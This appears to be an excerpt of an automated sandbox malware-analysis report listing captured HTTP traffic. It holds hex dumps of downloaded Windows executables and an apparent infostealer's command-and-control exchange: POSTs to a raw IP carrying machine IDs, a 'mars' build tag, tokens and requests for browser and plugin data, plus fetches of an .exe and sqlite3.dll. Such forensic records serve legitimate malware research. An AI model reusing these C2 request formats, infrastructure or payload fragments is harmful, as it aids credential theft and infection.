00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 13 Nov 2024 13:41:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 13 Nov 2024 13:41:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 13 Nov 2024 13:41:40 GMTContent-Type: application/octet-streamContent-Length: 3202560Last-Modified: Wed, 13 Nov 2024 13:07:57 GMTConnection: keep-aliveETag: "6734a4ad-30de00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 f0 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 31 00 00 04 00 00 31 67 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 d2 30 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 d2 30 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 92 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 70 76 75 79 62 61 74 00 30 2a 00 00 b0 06 00 00 24 2a 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 67 6d 74 63 79 68 76 00 10 00 00 00 e0 30 00 00 04 00 00 00 b8 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 30 00 00 22 00 00 00 bc 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 13 Nov 2024 13:42:52 GMTContent-Type: application/octet-streamContent-Length: 3634688Last-Modified: Tue, 12 Nov 2024 20:57:00 GMTConnection: keep-aliveETag: "6733c11c-377600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d6 cb 0a ab 92 aa 64 f8 92 aa 64 f8 92 aa 64 f8 d9 d2 67 f9 99 aa 64 f8 d9 d2 61 f9 5f aa 64 f8 d9 d2 60 f9 80 aa 64 f8 82 2e 67 f9 98 aa 64 f8 82 2e 60 f9 81 aa 64 f8 82 2e 61 f9 f1 aa 64 f8 92 aa 64 f8 8e aa 64 f8 da 2f 60 f9 61 ab 64 f8 da 2f 61 f9 b6 aa 64 f8 da 2f 67 f9 93 aa 64 f8 d9 d2 65 f9 9d aa 64 f8 92 aa 65 f8 7d aa 64 f8 d9 2f 6d f9 96 aa 64 f8 d9 2f 9b f8 93 aa 64 f8 d9 2f 66 f9 93 aa 64 f8 52 69 63 68 92 aa 64 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 0a c1 33 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 29 00 bc 1b 00 00 1c 1c 00 00 00 00 00 b0 38 18 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 38 00 00 04 00 00 00 00 00 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 44 c5 35 00 a0 00 00 00 00 a0 37 00 e0 01 00 00 00 90 36 00 cc 0b 01 00 00 00 00 00 00 00 00 00 00 b0 37 00 18 5b 00 00 f0 68 34 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6b 34 00 28 00 00 00 b0 67 34 00 40 01 00 00 00 00 00 00 00 00 00 00 00 d0 1b 00 d0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 6c ba 1b 00 00 10 00 00 00 bc 1b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 76 09 1a 00 00 d0 1b 00 00 0a 1a 00 00 c0 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 14 a6 00 00 00 e0 35 00 00 42 00 00 00 ca 35 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 0b 01 00 00 90 36 00 00 0c 01 00 00 0c 36 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 e0 01 00 00 00 a0 37 00 00 02 00 00 00 18 37 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 18 5b 00 00 00 b0 37 00 00 5c 00 00 00 1a 37 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 13 Nov 2024 13:43:09 GMTContent-Type: application/octet-streamContent-Length: 4420608Last-Modified: Wed, 13 Nov 2024 13:10:10 GMTConnection: keep-aliveETag: "6734a532-437400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 72 e6 2e 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 10 48 00 00 1c 69 00 00 32 00 00 00 60 bb 00 00 10 00 00 00 20 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 90 bb 00 00 04 00 00 dd 1a 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 66 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 40 bb 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 40 bb 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 66 00 00 10 00 00 00 68 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 66 00 00 00 00 00 00 78 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 66 00 00 02 00 00 00 78 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 38 00 00 a0 66 00 00 02 00 00 00 7a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 6d 71 73 70 73 6a 66 00 e0 1b 00 00 70 9f 00 00 d2 1b 00 00 7c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 6f 62 72 6c 6a 67 79 00 10 00 00 00 50 bb 00 00 04 00 00 00 4e 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 bb 00 00 22 00 00 00 52 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /oi.exe HTTP/1.1Host: dev-marcepan.grupa-abs.pl
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEHDHIEGIIIDHIDHDHJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 36 39 46 36 36 43 34 43 31 31 42 31 34 31 30 32 37 37 36 31 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 2d 2d 0d 0a Data Ascii: ------KJEHDHIEGIIIDHIDHDHJContent-Disposition: form-data; name="hwid"D69F66C4C11B1410277619------KJEHDHIEGIIIDHIDHDHJContent-Disposition: form-data; name="build"mars------KJEHDHIEGIIIDHIDHDHJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKJEBAAECBGDHIECAKJHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 31 37 66 34 37 64 38 64 64 33 66 34 66 33 61 36 35 30 37 62 62 34 63 36 36 30 65 36 32 37 35 35 62 37 64 30 64 36 31 38 64 38 66 32 38 62 66 39 32 37 63 30 33 36 36 39 37 39 35 62 36 31 36 31 37 66 35 38 34 66 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 2d 2d 0d 0a Data Ascii: ------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="token"cb17f47d8dd3f4f3a6507bb4c660e62755b7d0d618d8f28bf927c03669795b61617f584f------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="message"browsers------KKKJEBAAECBGDHIECAKJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFBFBGDBKJJKFIEHJDBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 31 37 66 34 37 64 38 64 64 33 66 34 66 33 61 36 35 30 37 62 62 34 63 36 36 30 65 36 32 37 35 35 62 37 64 30 64 36 31 38 64 38 66 32 38 62 66 39 32 37 63 30 33 36 36 39 37 39 35 62 36 31 36 31 37 66 35 38 34 66 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="token"cb17f47d8dd3f4f3a6507bb4c660e62755b7d0d618d8f28bf927c03669795b61617f584f------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="message"plugins------DBFBFBGDBKJJKFIEHJDB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHCGCFHDHIIIDGCAAEGDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 31 37 66 34 37 64 38 64 64 33 66 34 66 33 61 36 35 30 37 62 62 34 63 36 36 30 65 36 32 37 35 35 62 37 64 30 64 36 31 38 64 38 66 32 38 62 66 39 32 37 63 30 33 36 36 39 37 39 35 62 36 31 36 31 37 66 35 38 34 66 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 2d 2d 0d 0a Data Ascii: ------FHCGCFHDHIIIDGCAAEGDContent-Disposition: form-data; name="token"cb17f47d8dd3f4f3a6507bb4c660e62755b7d0d618d8f28bf927c03669795b61617f584f------FHCGCFHDHIIIDGCAAEGDContent-Disposition: form-data; name="message"fplugins------FHCGCFHDHIIIDGCAAEGD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDHCFCBGIDGHJJKJJDGHost: 185.215.113.206Content-Length: 7511Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
